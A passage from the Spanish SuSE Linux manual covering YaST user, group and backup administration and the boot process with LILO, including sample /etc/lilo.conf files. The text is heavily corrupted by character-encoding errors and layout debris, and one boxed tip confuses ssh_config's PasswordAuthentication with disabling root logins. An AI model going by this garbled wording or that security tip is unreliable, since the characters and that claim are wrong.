torio home del usuario y los ficheros de /etc/skel ya estßn copiados en
Θl.
o Antes de borrar a cualquier usuario, se llama ~ si existe ~ el script /usr/
sbin/userdel.local. En este momento el usuario todavφa estß dado de
alta en los ficheros passwd y shadow y su directorio home tambiΘn existe
a·n.
A ambos scripts se les pasa el nombre de usuario como parßmetro. Si el
script necesita datos adicionales (user-ID, login-shell, directorio-Home) es
relativamente fßcil leerlos del fichero /etc/passwd.
Si se tiene suficiente experiencia y parece demasiado trabajo arrancar YaST
para los fines de administraci≤n de usuario, tambiΘn estßn a disposici≤n los
programas useradd y userdel .
*
* 113
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Algo sobre PAM
Los ficheros de PAM (ingl. Pluggable Authentication Modules) se encuentran
en /etc/pam.d. La documentaci≤n para programadores y administradores
de sistema se encuentra en /usr/doc/packages/pam.
SuSE Linux es capaz de manejar contrase±as del tipo MD5; estos puede tener
mßs de 8 caracteres. Hay que tener un poco de cuidado, ya que la encriptaci≤n
MD5 no no es compatible con crypt() , la funci≤n estßndar bajo Unix. Esto
significa que muchos Unix comerciales y algunos programas no son capaces
de funcionar con contrase±as del tipo MD5.
El fichero /usr/doc/packages/pam/md5.config contiene informaci≤n
sobre la configuraci≤n.
3.7.8 Administraci≤n de grupos
Con YaST tambiΘn se pueden administrar grupos aparte de usuarios.
Figura 3.28: Administraci≤n de grupos con YaST
Bajo Linux (como en general bajo Unix) hay que asignar un grupo a cada
usuario. Esto se necesita, porque de la dependencia al grupo se derivan
determinados derechos de acceso, p. ej. a ficheros. Con este concepto se
puede restringir el acceso hacia algunos directorios y solo permitirlo a un
determinado grupo a travΘs de una contrase±a.
Hay algunos grupos que ya estßn previstos en Linux, como por ejemplo los
grupos `users', `root', etc.
La forma `users' solamente es la representaci≤n en forma de texto de un
grupo de usuarios pues la computadora trabaja internamente con cifras, los
denominados identificadores de grupo (ingl. group id). El fichero de config-
uraci≤n de los grupos de usuario es /etc/group.
Hasta aquφ los detalles tΘcnicos, ya que usando YaST , generar grupos no rep-
resenta ning·n problema. El dißlogo para la administraci≤n de grupos se
114
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
*______________________
encuentra bajo `Administraci≤n del sistema' en la opci≤n `Admin-
istraci≤n de grupos', como se puede ver en la figura 3.28 en la pßgina
anterior.
3.7.9 Crear respaldos/backups
Para hacer un respaldo (ingl. backup) rßpido y selectivo resulta ·til crear
copias de seguridad justamente de los ficheros que se han generado o modi-
ficado desde la ·ltima instalaci≤n. Estos ficheros son tφpicamente los de con-
figuraci≤n y de datos y precisamente esto es lo que realiza la funci≤n aquφ
descrita.
Figura 3.29: Respaldo (Backup) con YaST
El correspondiente dißlogo se constituye de tres pasos:
1. Definir contenido
En esta pantalla se define una lista de los directorios a excluir del + Back-
up. Estßn previstos para ser excluidos /tmp, /dev o /proc, pero se de-
berφan agregar a esta lista los CD-ROMs y directorios NFS montados tal
como las particiones DOS que no lo estΘn. Mientras mßs directorios se
excluyan del mecanismo backup, mßs rßpido funciona, porque no hace
falta efectuar comparaciones innecesarias entre los directorios y las de-
scripciones de los paquetes._ Las_ entradas en la lista de__exclusiones_ se
modifican con las teclas |+_ |y |-_ |para a±adir y borrar. Con |F____1|0se con-
tin·a con la siguiente funci≤n.
2. B·squeda
Ahora YaST busca en el sistema los ficheros a incluir en el respaldo. La
cantidad y el tama±o de los ficheros ya encontrados se indica en cada
instante. Al final de la b·squeda aparece una lista con todos los datos
encontrados_de_la_cual_se pueden borrar todavφa ficheros con la tecla de
espacio | ____________|. Estos ficheros no se respaldan.
3. Fijar comando de respaldo
Aquφ se determina c≤mo guardar los ficheros, para lo cual se introduce el
nombre de fichero y se pueden definir opciones.
*
* 115
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
El mecanismo de respaldo solo puede funcionar si no ha existido ninguna
influencia externa que haya podido modificar las fechas. Ademßs, la funci≤n
necesita bastante memoria RAM, ya que solamente los nombres de fichero
de un CD-ROM tφpico ocupan 6 MB. Aparte de esto, se necesita el espacio
en disco para el respaldo, espacio que se puede reducir por el factor dos
activando la compresi≤n de ficheros. No por nada, lo mßs recomendable es
grabar el respaldo en una cinta.
3.7.10 Configuraciones de seguridad
No se debe modificar la configuraci≤n predeterminada sin conocer el trasfon-
do de cada acci≤n. Es imprescindible leer el capφtulo 18 en la pßgina 451Se-
guridad y Confianzachapter.18.
________________________________________________________________________________________________________*
*________||
| Para deshabilitar los ''logins'' del superusuario `root', se debe adap- *
* ||||
| *
* |||
| tar el fichero /etc/ssh_config en el cual la definici≤n por defecto es *
* |||
| PasswordAuthentication yes . ~ Configurando ssh correctamente, los *
* |||
| *
* |||
| ''logins'' de `root' por la red son seguros. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
3.7.11 Configurar XFree86[tm]
Hay diferentes herramientas para configurar el sistema X Window (XFree86);
se recomienda probar primero con SaX , cuyas caracterφsticas se detallan
explφcitamente en el apartado 8.1 en la pßgina 238Configuraci≤n con SaX
section.8.1.
3.7.12 Cambiar fichero de configuraci≤n
La administraci≤n de sistema de SuSE Linux se efect·a casi completamente
con un fichero de configuraci≤n central (/etc/rc.config). Los distintos
scripts de arranque eval·an este fichero durante el arranque y el sistema se
configura al respecto.
Usando YaST es posible modificar en un fichero central los distintos apuntes
del fichero de configuraci≤n y asφ adaptar el sistema a gusto sin necesidad de
conocer en detalle todos los ficheros que resulten afectados.
Para modificar el valor de una variable, primero se selecciona con las teclas
|#__||__|"y despuΘs se pulsa |______|-o |F___|_3para modificarla.
Si se modifica este fichero a mano, se debe ejecutar posteriormente el script
SuSEconfig . Este script se encarga de pasar las modificaciones hechas en
/etc/rc.config a los correspondientes ficheros de configuraci≤n de ca-
da programa especφfico. En el apartado 17.6 en la pßgina 437Las variables
en /etc/rc.config ~ Configuraci≤n de sistemasection.17.6 hay una de-
scripci≤n detallada del fichero de configuraci≤n con todas las posibilidades
de ajuste.
116
__________________________________________________________________________________3.7.__Administraci≤n_del_sistema_________________*
*_______________
Figura 3.30: Modificaci≤n del fichero de configuraci≤n con YaST
117
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
118
Capφtulo 4
Arrancar y gestor de arranque ~
LILO , loadlin , etc.
En este capφtulo se presentan diferentes mΘtodos para + Arrancar el sistema.
Para que se puedan distinguir los diferentes mΘtodos, al principio se explican
algunos detalles sobre el proceso de arranque en PCs.
4.1 El proceso de arranque en un PC
DespuΘs de encender la computadora, la + BIOS (ingl. Basic Input Output
System), inicializa pantalla y teclado y comprueba la memoria RAM. íHasta
este momento para su PC todavφa no existe ning·n medio de almacenamiento
(disquete, disco duro)!
DespuΘs de que el sistema base haya terminado con su ''excursi≤n al interior''
empieza a ocuparse de sus alrededores. De los valores que estßn en la CMOS
(CMOS setup) se lee la informaci≤n sobre los dispositivos mßs importantes,
la hora y la fecha. En este momento se reconoce el primer disco duro y
su geometrφa asφ que la carga del sistema operativo desde el disco puede
comenzar.
Para ello se lee desde el primer disco duro, el primer sector fφsico de datos del
tama±o de 512 Bytes y se carga a la memoria. El control de ejecuci≤n pasa
a este peque±o programa y la ejecuci≤n de los comandos en Θste determina a
partir de ahora el proceso de arranque. Estos primeros 512 Bytes en el primer
disco duro se denominan en inglΘs Master Boot Record (+ MBR).
La explicaci≤n de estos hechos ~ aunque aquφ muy simplificados ~ permite
sacar conclusiones importantes para el entendimiento de lo expuesto a con-
tinuaci≤n: Hasta el justo momento de cargar el MBR, el arranque es exacta-
mente el mismo en cualquier PC y completamente independiente del sistema
operativo instalado; el PC solamente tiene acceso a los dispositivos a travΘs
de las rutinas (drivers) grabadas en la BIOS.
Master Boot Record
La estructura del MBR estß definida por una convenci≤n independiente de los
sistemas operativos. Los primeros 446 Bytes estßn reservados para c≤digo
de programas1_.___Los__pr≤ximos__64__Bytes__ofrecen__espacio_ para una tabla de
1 íEl c≤digo mismo y sus capacidades sφ que dependen del sistema operativo responsable de la
generaci≤n del MBR!
*
* 119
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
particiones con hasta 4 entradas (ver apartado 2.8 en la pßgina 70Particionar
para principiantessection.2.8 y apartado 2.9 en la pßgina 71Particionar para
avanzadossection.2.9) 2 . Los ·ltimos 2 Bytes deben contener una ''cifra
mßgica'' (AA55 ): un MBR que tenga otra cifra serß tratado como no vßlido
por parte de la BIOS y de todos los sistemas operativos de PC
Sectores de arranque
Los sectores de arranque son los primeros de cada partici≤n3 . Ofrecen
512 Bytes de espacio y sirven para albergar c≤digo, que puede ser ejecutado
por el sistema operativo que resida en esta partici≤n. En el caso de los sec-
tores de arranque de DOS-,Windows- u OS/2 esto es realmente asφ y aparte
del c≤digo ejecutable tambiΘn contienen informaci≤n importante del sistema
de ficheros. Por el contrario, los sectores de arranque de una partici≤n Linux
estßn en principio vacφos (!), incluso despuΘs de haber generado el sistema
de ficheros. Por lo tanto, una partici≤n Linux no es autoarrancable aunque
tenga un kernel y un sistema de ficheros raφz vßlidos.
Un sector de arranque con c≤digo de arranque vßlido lleva en los ·ltimos
2 Bytes la misma ''cifra mßgica'' que el MBR.
Arranque de DOS o Windows 95/98
En el MBR de DOS del primer disco duro hay una entrada de partici≤n
marcada como activa (ingl. bootable), es decir, que se busca allφ el sistema a
cargar4 . El c≤digo de programa de DOS en el MBR representa el primer paso
del Bootloader (ingl. first stage bootloader) y comprueba si se encuentra un
sector de arranque vßlido en la partici≤n indicada.
Si fuera el caso, el c≤digo en este sector de arranque se ejecuta como segundo
paso del Bootloader (ingl. secondary stage loader). Este c≤digo carga los
programas de sistema y finalmente aparece el conocido prompt del DOS o se
levanta la superficie de Windows 95/98.
En DOS una sola partici≤n primaria puede ser marcada como activa, lo cual
significa que el sistema DOS no puede residir en una unidad l≤gica dentro de
una partici≤n extendida.
4.2 Conceptos de arranque
El ''concepto de arranque'' mßs simple que uno se puede imaginar es el de una
computadora con un solo sistema operativo. Una configuraci≤n muy exten-
dida en este sentido es la de DOS o Windows 95/98 como sistema operativo
·nico en la computadora. Para este caso, acabamos de comentar los procesos
que transcurren durante el inicio.
Un proceso de arranque semejante tambiΘn serφa imaginable para una com-
putadora de ''solo-Linux'' y en este caso no serφa necesaria la instalaci≤n de
_____________________________________________2
Sin la tabla de particiones no puede existir ning·n sistema de ficheros (las unidades de disco
en MS-DOS) o sea, es prßcticamente imposible usar el disco duro.
3 A excepci≤n de la partici≤n extendida que es un ''contenedor'' para otras particiones.
4 Esto significa que DOS debe estar instalado, en todo caso, en el primer disco duro.
120
________________________________________________________________________________________4.2.__Conceptos_de_arranque_________*
*______________________
LILO . Pero en tal escenario no se podrφa indicar al kernel una lφnea de co-
mandos para el inicio (con informaci≤n adicional sobre el hardware o con
indicaciones especiales respecto al arranque, etc.).
En cuanto existen varios sistemas operativos instalados en una computadora
existen tambiΘn diferentes conceptos de arranque:
Arrancar sistemas operativos adicionales de disquete: El primer sistema
operativo se carga desde el disco duro y los demßs desde la disquetera
usando disquete de arranque.
o Condici≤n: Existe una disquetera desde la cual se puede arrancar.
o Ejemplo: Se instala Linux como sistema adicional en un sistema DOS,
Windows 95/98 o OS/2 y se arranca Linux siempre desde un disquete
de arranque.
o Ventajas: Se ahorra la instalaci≤n del gestor de arranque que en defini-
tiva es un poco crφtico.
o Desventajas: Se debe mantener siempre un buen stock de disquetes de
arranque que funcionen y el arranque tarda mßs.
o El hecho de que Linux no pueda arrancar sin el disquete de arranque
puede ser una ventaja tal como una desventaja seg·n las condiciones
de uso.
Arrancar sistemas adicionales en tiempo de ejecuci≤n: Se carga un deter-
minado sistema operativo en cada arranque y los demßs se cargan de man-
era opcional a travΘs del que ya estß cargado.
o Condici≤n: Deben existir programas ·tiles para esto.
o Ejemplos: La carga de Linux desde DOS mediante el uso de load-
lin.exe (ver apartado 4.9 en la pßgina 143Configuraci≤n del mecan-
ismo de arranque con loadlinsection.4.9) o la carga de un servidor
NetWare desde DOS con server.exe .
Instalaci≤n de un gestor de arranque: Un gestor de arranque (ingl. Boot-
manager), permite mantener varios sistemas operativos en una computa-
dora y alternar entre ellos. El usuario selecciona el sistema operativo
durante el arranque; para cambiar de sistema operativo se debe reiniciar
la computadora.
o Condici≤n: El gestor de arranque trabaja en ''armonφa'' con todos los
sistemas operativos instalados.
o Ejemplos: En determinadas circunstancias funcionan bien con Linux
el gestor de arranque de OS/2 (ver apartado 4.7.3 en la pßgina 137OS/2
y Linuxsubsection.4.7.3) y el boot.sys de DOS.
En las siguientes lφneas se explica la instalaci≤n y configuraci≤n de LILO , que
es el gestor de arranque estßndar para Linux. En [Alm96 ]5 hay explicaciones
mßs detalladas. Al final se a±aden detalles sobre loadlin .
5 ____________________________________________________
Se puede imprimir este documento con el comando
lpr /usr/doc/packages/lilo/user.dvi
*
* 121
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
4.3 Resumen de LILO
LILO se presenta
El gestor de arranque de Linux es apto para su instalaci≤n en el MBR (hay
detalles mßs adelante, en la pßgina siguiente). LILO tiene acceso a ambos
discos duros que se pueden acceder en modo real y por su modo de insta-
laci≤n es capaz de encontrar todos los datos que necesita en los discos duros
''crudos''6 sin tener informaci≤n acerca de la partici≤n. Es por eso que existe
tambiΘn la posibilidad de iniciar sistemas operativos desde el segundo disco
duro. En comparaci≤n al proceso de arranque de DOS, se ignoran los datos
en la tabla de particiones.
Pero la mayor diferencia respecto al arranque tipo DOS es la posibilidad
de elegir entre diferentes sistemas operativos, siendo uno de ellos Linux.
DespuΘs de la carga del MBR en la memoria RAM se ejecuta LILO , que
le permite al usuario elegir de una lista de sistemas operativos instalados (ver
en esta pßgina).
┐QuΘ es LILO y quΘ sabe hacer?
LILO es un gestor de arranque universal. Es capaz de cargar y arrancar
durante el inicio los siguientes programas de sistema:
o Sectores de arranque de particiones (Inicio de un sistema operativo desde
esa partici≤n)
o Kernel de Linux (Inicio de Linux)
La mayorφa de los otros gestores no saben hacer lo segundo.
Ademßs existe la posibilidad de pasar con LILO una lφnea de comando al
kernel de Linux. Por razones de seguridad es preferible proteger total o
parcialmente los servicios de Linux.
┐Cußl es la apariencia del arranque con LILO ?
Cuando LILO se inicia, aparecen el texto LILO y un saludo en pantalla, que se
ha definido durante la configuraci≤n (ver apartado 4.4.2 en la pßgina 128Otras
opciones de configuraci≤n (Selecci≤n)subsection.4.4.2). DespuΘs aparece el
prompt:
boot:
Al introducir aquφ un nombre se selecciona el sistema operativo, que arranca
inmediatamente despuΘs. Los nombres de los sistemas operativos se configu-
ran con anterioridad. En este momento es posible pasar una lφnea de comando
al kernel de Linux. El listado_de_los nombres dados_a los distintos sistemas
operativos aparece pulsando |T____a|b(= tecla |T____a|b).
_____________________________________________6
Se considera un dispositivo ''crudo'' (disco duro, disquete, partici≤n . . . ) (ingl. raw device),
cuando el acceso a Θl se efect·a de forma directa sin pasar por el correspondiente sistema de
ficheros.
122
_______________________________________________________________________________________________4.3.__Resumen_de_LILO________*
*______________________
┐QuΘ partes conforman LILO ?
La maquinaria de arranque de LILO se compone de las siguientes partes7 :
o un sector de arranque tipo LILO con un comienzo del c≤digo de LILO
(''primera fase'') que activa el LILO real.
o el c≤digo mßquina de LILO (su ''coraz≤n'').
Se encuentra normalmente en: /boot/boot.b
o un fichero map, que genera LILO durante su instalaci≤n y que contiene
informaci≤n sobre la ubicaci≤n del kernel de Linux y de otras informa-
ciones adicionales.
Se encuentra normalmente en: /boot/map
o opcional: un fichero de mensaje, cuyo contenido se muestra antes de la
selecci≤n de arranque como mensaje de saludo.
Se encuentra normalmente en: /boot/message
o los distintos kernel de Linux y sectores de arranque, que LILO debe
ofrecer para el arranque.
_______________________________________________________________________________________________________________________||
|||||||| íCualquier acceso de escritura y tambiΘn el movimiento de alguno de ||| |
|||||||| estos componentes convierte el fichero map en no vßlido y pide por lo || |
|||||||| || |
|||||||| tanto una Reinstalaci≤n de LILO (ver en la pßgina 131Instalaci≤n despuΘs || |
|||||||| del cambio de configuraci≤nsection.4.5)! Esto se refiere especialmente a || |
|||||||| || |
|||||||| cualquier cambio del kernel (p. ej. la actualizaci≤n). || |
||||||||_______________________________________________________________________________________________________________||_
┐D≤nde se puede instalar LILO ?
En realidad se trata solo del sector de arranque de LILO (''primera fase'').
Antes de detallar esto hay que mencionar una restricci≤n general:
_______________________________________________________________________________________________________________________||
|||||||| íTodos los componentes de la maquinaria de arranque de LILO deben ||| |
|||||||| || |
|||||||| encontrarse dentro de la zona fφsica de los primeros 1024 cilindros del || |
|||||||| disco duro! || |
|||||||| || |
|||||||| Esto se puede conseguir mediante una peque±a partici≤n aparte, que se || |
|||||||| monta sobre el directorio /boot y que se encuentra totalmente dentro de || |
|||||||| || |
|||||||| los primeros 1024 cilindros. || |
||||||||_______________________________________________________________________________________________________________||_
Durante la fase de arranque del sistema solamente se puede acceder a estas
zonas fφsicas debido a las restricciones de los drivers de la BIOS. Por lo
demßs, el acceso tambiΘn se restringe generalmente a los dos primeros discos.
Ademßs, en caso de tener una BIOS antigua, es posible que la existencia de
un disco (E)IDE excluya a los del tipo SCSI de la posibilidad de arrancar.
Solo las BIOS recientes permiten el acceso a dispositivos adicionales. Por
ejemplo en combinaci≤n con controladores EIDE hay acceso hasta 4 dis-
cos EIDE. Muchas combinaciones modernas de BIOS y adaptadora SC-
SI permiten__incluso__''empujar__hacia__delante''__los__dispositivos_ SCSI para
7 A prop≤sito: Los sectores de arranque que instala LILO contienen una secuencia de bytes
que tambiΘn es caracterφstica para los virus de sector de arranque. Por eso no es de extra±ar que
algunos programas antivirus piensen que han encontrado el virus de sector de arranque AIRCOP
en ficheros como /boot/chain.b o /boot/os2_d.b. ;-)
*
* 123
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
hacerlos arrancables. El uso de esta posibilidad de LILO mediante la
opci≤n disk se explica en la pßgina 129Otras opciones de configuraci≤n
(Selecci≤n)Hfootnote.21.
Para simplificarlo se resume todo bajo la clave Lφmite de 1024 cilindros; en
todo caso, se debe considerar este hecho durante la fase de particionar antes
de la primera instalaci≤n de Linux ~ desp·es serφa demasiado tarde y podrφa
generar un mont≤n de trabajo adicional! Los detalles sobre c≤mo tratar
esto se encuentran en el apartado 4.8.2 en la pßgina 140El lφmite de 1024
cilindrossubsection.4.8.2.
Existen los siguiente lugares para instalar el sector de arranque de LILO :
o En un disquete
Este es el mΘtodo mßs seguro pero a su vez el mßs lento para arran-
car con LILO (ver en la pßgina 134Disquete de arranque con LILO
Hfootnote.24). Quien haya leφdo este capφtulo y ahora no desee modi-
ficar los sectores de arranque, deberφa (por el momento) usar la variante
con el disquete.
o En el sector de arranque de una partici≤n Linux primaria del primer
disco duro
Esta variante no toca el MBR. Antes de arrancar hace falta marcar la
partici≤n con fdisk como activa. Si Linux se encuentra completamente
en unidades o particiones l≤gicas del segundo disco duro, entonces para
LILO solo queda el sector de arranque de la partici≤n extendida en el
primer disco (si Θste existe). El programa fdisk de Linux tambiΘn puede
activar estas particiones.
Este procedimiento resulta un poco complicado cuando se desea arrancar
varios sistemas operativos desde el disco duro. Antes de cambiar de
sistema operativo hace falta desactivar, bajo el sistema operativo actual,
la partici≤n de arranque del mismo y activar la del sistema a arrancar. Los
siguientes dos procedimientos sirven mejor para este caso, ya que se evita
el continuo cambio de estado de las particiones.
o En el Master Boot Record
Esta variante ofrece mßxima flexibilidad. Se trata especialmente de la
·nica posibilidad de arrancar Linux desde el disco duro, cuando todas
las particiones de Linux se encuentran en el segundo disco y no hay
ninguna partici≤n extendida en el primero. La modificaci≤n del MBR
conlleva el riesgo de efectuarse indebidamente. En el apartado 4.5 en la
pßgina 131Instalaci≤n y desinstalaci≤n de LILO section.4.5 se explican
las precauciones necesarias a tener en cuenta.
o Si se ha usado hasta ahora otro gestor de arranque . . .
. . . y se quiere seguir usando el mismo, existen, seg·n sus capacidades,
un par de posibilidades mßs. Un caso muy frecuente: Tiene una partici≤n
primaria en el segundo disco y desde allφ quiere arrancar su SuSE Linux;
suponiendo ademßs que el ''otro'' gestor de arranque puede iniciar esa
partici≤n. En este caso puede hacerlo instalando LILO en el sector de
arranque e indicando al otro gestor que la partici≤n se puede arrancar.
124
_______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n_____________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Se debe tener cuidado con la idea de arrancar una partici≤n l≤gica de ||| |
||||||||| Linux instalando allφ LILO : Muchas veces funciona, pero aunque el ''otro'' || ||
|||||||| gestor de arranque pueda arrancar particiones l≤gicas, en la actualidad ||| |
|||||||| || |
|||||||| actualmente , no se garantiza ning·n Θxito. || |
||||||||_______________________________________________________________________________________________________________||_
Naturalmente que se puede probar, quizßs con una instalaci≤n muy pe-
que±a de Linux. Tal vez se tenga suerte, pero en todo caso es mejor
establecer como mφnimo una partici≤n primaria arrancable.
4.4 LILO α la carte: La configuraci≤n
Como gestor de arranque flexible, LILO ofrece m·ltiples posibilidades para
adaptarse a las necesidades individuales. A continuaci≤n se explican las
opciones mßs importantes; explicaciones mßs exhaustivas se encuentran en
[Alm96 ].
La configuraci≤n de LILO se graba en el fichero /etc/lilo.conf. Al efec-
tuar la primera instalaci≤n, recomendamos dejar hacerlo a YaST . Un posible
retoque de lilo.conf se puede hacer a base del fichero generado por YaST .
_______________________________________________________________________________________________________________________||
|||||||| Nadie a parte de `root' debe tener permiso de lectura del fichero ||| |
|||||||| /etc/lilo.conf, ya que Θste puede contener contrase±as (ver || |
|||||||| || |
|||||||| apartado 4.4.2 en la pßgina 128Otras opciones de configuraci≤n || |
|||||||| (Selecci≤n)subsection.4.4.2). De hecho esto es estßndar en SuSE Linux; || |
|||||||| || |
|||||||| se puede comprobar si se desea. En cualquier caso ayuda el comando: || |
|||||||| tierra: # chmod 0600 /etc/lilo.conf || |
||||||||_______________________________________________________________________________________________________________||_
Es aconsejable guardar bien el fichero de configuraci≤n de la ·ltima insta-
laci≤n de LILO y hacer un respaldo antes de cualquier cambio. Ning·n cam-
bio se efect·a antes de instalar nuevamente LILO con la ·ltima versi≤n del
fichero de configuraci≤n (apartado 4.5 en la pßgina 131Instalaci≤n y desinsta-
laci≤n de LILO section.4.5)!
4.4.1 El contenido del fichero lilo.conf
El fichero /etc/lilo.conf comienza con un apartado global (ingl. global
options section), con parßmetros generales seguido de uno o varios apartados
de sistema (ingl. image sections), para los distintos sistemas operativos que
LILO debe arrancar. Cada nuevo apartado de sistema se introduce por la
opci≤n image o other .
El orden de aparici≤n de los sistemas operativos en lilo.conf es importante
por el hecho de que se arranca automßticamente el que aparece primero, en
caso de que el usuario no intervenga. Esta intervenci≤n se puede realizar
dentro de un tiempo de espera definido por las opciones delay o timeout .
El fichero 4.4.1 en la pßgina siguiente muestra una configuraci≤n de ejemplo
para una computadora con Linux y DOS. Existen tres opciones de arranque
definidas por este fichero: un kernel de Linux nuevo y uno antiguo en la
partici≤n raφz actual (partici≤n primaria del segundo disco) y MS-DOS (o
Windows 95/98) en /dev/hda1.
*
* 125
| *
* |
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| # Fichero de configuraci≤n de LILO *
* |
||# Start LILO global Section *
* ||
| boot=/dev/hda # LILO destino de instalaci≤n: *
* |
| backup=/boot/MBR.hda.970428 # MBR Fichero respaldo para MBR *
* |
| *
* |
| # antiguo del 28. Abril 1997 *
* |
| #compact # faster, but won't work on all systems. *
* |
| #linear *
* |
| *
* |
| message=/boot/message # LILO's saludos *
* |
| prompt *
* |
| *
* |
| password = q99iwr4 # Contrase±a general de LILO *
* |
| timeout=100 # esperar 10 s en el prompt antes de arrancar *
* |
| *
* |
| # con parßmetros por defecto *
* |
| vga = normal # modo texto normal (80x25 caracteres) *
* |
| *
* |
| # End LILO global section *
* |
| *
* |
| *
* |
| # Linux bootable partition config begins *
* |
| image = /boot/vmlinuz # Aquφ los valores por defecto *
* |
| root = /dev/hdb3 # Partici≤n root para kernel *
* |
| *
* |
| read-only *
* |
| label = Linux *
* |
| *
* |
| # Linux bootable partition config ends *
* |
| *
* |
| *
* |
| # Second Linux bootable partition config *
* |
| image = /boot/vmlinuz.old *
* |
| *
* |
| root = /dev/hdb3 *
* |
| read-only *
* |
| *
* |
| label = Linux.old *
* |
| # 2nd Linux bootable partition config ends *
* |
| *
* |
| *
* |
| # DOS bootable partition config begins *
* |
| other = /dev/hda1 *
* |
| *
* |
| label = DOS *
* |
| loader = /boot/chain.b *
* |
| *
* |
| table = /dev/hda *
* |
| # DOS bootable partition config ends *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.4.1: Configuraci≤n de ejemplo en /etc/lilo.conf
Todo lo que estß en /etc/lilo.conf entre un sφmbolo # y el fin de la lφnea
cuenta como comentario. LILO lo ignora igual que el espacio en blanco y
usßndolo se mejora la legibilidad.
Repasamos brevemente las lφneas mßs importantes; opciones adicionales se
describen en el apartado 4.4.2 en la pßgina 128Otras opciones de configu-
raci≤n (Selecci≤n)subsection.4.4.2.
o Secci≤n global (Apartado de parßmetros)
~ boot=<bootdevice>
Dispositivo sobre el cual se debe instalar (en el primer sector) el sector
de arranque de LILO (el destino de la instalaci≤n). <bootdevice>
puede ser: una disquetera (/dev/fd0), una partici≤n (p. ej. /dev/
126
_______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n_____________*
*______________________
hdb3), o todo un disco (p. ej. /dev/hda): lo ·ltimo significa la in-
stalaci≤n en el MBR.
Configuraci≤n por defecto: Si falta este parßmetro, LILO se instala en
la partici≤n raφz actual.
~ prompt
Fuerza la aparici≤n del + Prompt de LILO . íPor defecto no sale ning·n
prompt! (ver apartado 4.4.2 en la pßgina siguiente, opci≤n delay ).
Se recomienda ponerlo cuando LILO debe arrancar mßs de un sistema
operativo. Junto con esta opci≤n se deberφa definir tambiΘn la opci≤n
timeout para que se pueda efectuar un reinicio automßtico cuando el
usuario no introduce nada en el prompt.
~ timeout=<dΘcimas de segundo>
Define un tiempo de espera en el prompt y permite asφ un reinicio au-
tomßtico cuando no se introduce nada en el prompt. <dΘcimas de
segundo>_es_el_tiempo_que queda para introducir un comando. Pul-
sando |S___________|hiften*el prompt, el tiempo comienza a contar de nuevo.
Configuraci≤n predeterminada: infinito, o sea sin reboot automßtico!
o Secci≤n Linux
~ image=<kernelimage>
Aquφ tiene que aparecer el nombre de la imagen del kernel a arrancar.
Esto serß por lo general /boot/vmlinuz y en versiones antiguas de
SuSE Linux (antes de la versi≤n 6.0) /vmlinuz o /zImage.
~ label=<nombre>
Un nombre para el sistema a libre elecci≤n pero fijo dentro de /etc/
lilo.conf (p. ej. Linux ). La longitud mßxima es de 15 caracteres;
se permiten solo caracteres normales, cifras y ''gui≤n bajo'' (`_'); no
se permiten espacios o caracteres especiales como la ± o la ▄, etc8 . El
valor por defecto es el nombre de la imagen del kernel (p. ej. /boot/
vmlinuz).
Introduciendo un nombre en el prompt de LILO durante el arranque
del sistema, se selecciona el sistema operativo deseado y en caso de us-
ar varios es recomendable proporcionar una explicaci≤n mßs detallada
de los nombres y sistemas en un fichero de mensaje (ver apartado 4.4.2
en la pßgina siguiente, opci≤n message ).
~ root=<rootdevice>
Esta opci≤n indica al kernel la partici≤n root del sistema Linux (p. ej.
/dev/hda2). íSe recomienda definirlo por seguridad! Sin esta opci≤n
el kernel toma la partici≤n root que estß apuntada en Θl mismo9 .
o Otro sistema
~ other=<partici≤n>
La variable other indica a LILO las particiones de arranque de otros
___sistemas_para_poder_iniciarlos_(p._ej.__/dev/hda1)._
8 Las reglas exactas para los caracteres permitidos se encuentran en [Alm96 ], capφtulo 3.2.1.
9 Se puede ver con el comando rdev <kernelimage>.
*
* 127
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
~ loader=<Boot-Loader>
Para la carga de un sector de arranque ajeno, LILO construye en su
fichero map un ''pseudo-MBR'' (arrancando la computadora, LILO
inicia primero el pseudo-MBR y a su vez Θste inicia el sector de ar-
ranque ajeno). Esta opci≤n indica el fichero con el c≤digo para el
pseudo-MBR.
El valor por defecto y generalmente correcto es: /boot/chain.b.
A veces se quiere arrancar un sistema operativo (p. ej. DOS), que
debe ser iniciado desde el primer disco duro pero con LILO desde
otro disco duro. Las opciones adicionales map-drive=<Nummer> y
to=<Nummer> permiten ''intercambiar'' los dos discos con su n·mero
de dispositivo de BIOS. Ejemplo: fichero 4.4.2.
El cargador (ingl. loader) os2_d.b sirve para cargar OS/2 desde el
segundo disco10 .
Lo nuevo desde la versi≤n 20 de LILO: TambiΘn para el loader de OS/2
se debe indicar explφcitamente el ''cambio'' de los dos primeros discos
(como lo indica el ejemplo en el fichero 4.4.2).
________________________________________________________________________________________________________*
*________||||
| # Booting DOS from the second hard drive *
* |
| # DOS bootable partition config begins *
* |
| *
* |
| other = /dev/hdb1 *
* |
| label = DOS *
* |
| loader = /boot/chain.b *
* |
| *
* |
| map-drive = 0x80 # first hd: BIOS number 0x80 *
* |
| to = 0x81 # second hd: BIOS number 0x81 *
* |
| *
* |
| map-drive = 0x81 *
* |
| to = 0x80 *
* |
| *
* |
| table = /dev/hdb *
* |
| # DOS bootable partition config ends *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.4.2: Extracto de /etc/lilo.conf para arancar DOS del 2o disco
~ table=<ptabla>
<ptabla> debe indicar el dispositivo fuente para la tabla de partici≤n,
que se debe cargar al pseudo-MBR (generalmente /dev/hda o /dev/
sda).
~ label=<nombre>
El nombre a libre elecci≤n para este sistema. Se recomienda definirlo,
ya que el mero nombre de dispositivo de la partici≤n no brinda mucha
informaci≤n.
